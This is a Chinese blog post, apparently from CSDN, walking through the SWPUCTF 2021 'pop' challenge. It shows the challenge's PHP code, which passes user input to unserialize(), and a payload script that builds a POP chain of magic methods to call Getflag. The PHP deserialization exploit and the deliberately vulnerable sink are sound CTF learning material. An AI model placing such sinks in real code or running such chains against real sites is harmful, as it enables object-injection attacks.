[SWPUCTF 2021 新生赛]pop（NSSCTF）

最新推荐文章于 2024-03-27 16:45:38 发布

ha0cker

最新推荐文章于 2024-03-27 16:45:38 发布

阅读量294

点赞数

文章标签： php 开发语言 web安全

本文链接：https://blog.csdn.net/m0_70819573/article/details/129326061

版权

1.打开环境，审计代码。是pop链问题。

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

phppop链的原理是构造不同类相互调用的链条，调用php的魔术方法来实现flag的读取

常见的魔术方法

_invoke#当被函数调用时自动执行
_construct
_destruct
_wakeup#反序列化时自动调用
_tostring#被当作字符串处理时自动调用
_sleep#序列化时自动调用

payload:

<?php

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;

}
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
$a = new w22m();
$b = new w33m();
$c = new w44m();
# 入口
$a->w00m=$b;
# 链子
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));#用url编码是因为protected类的变量有不可见字符
?>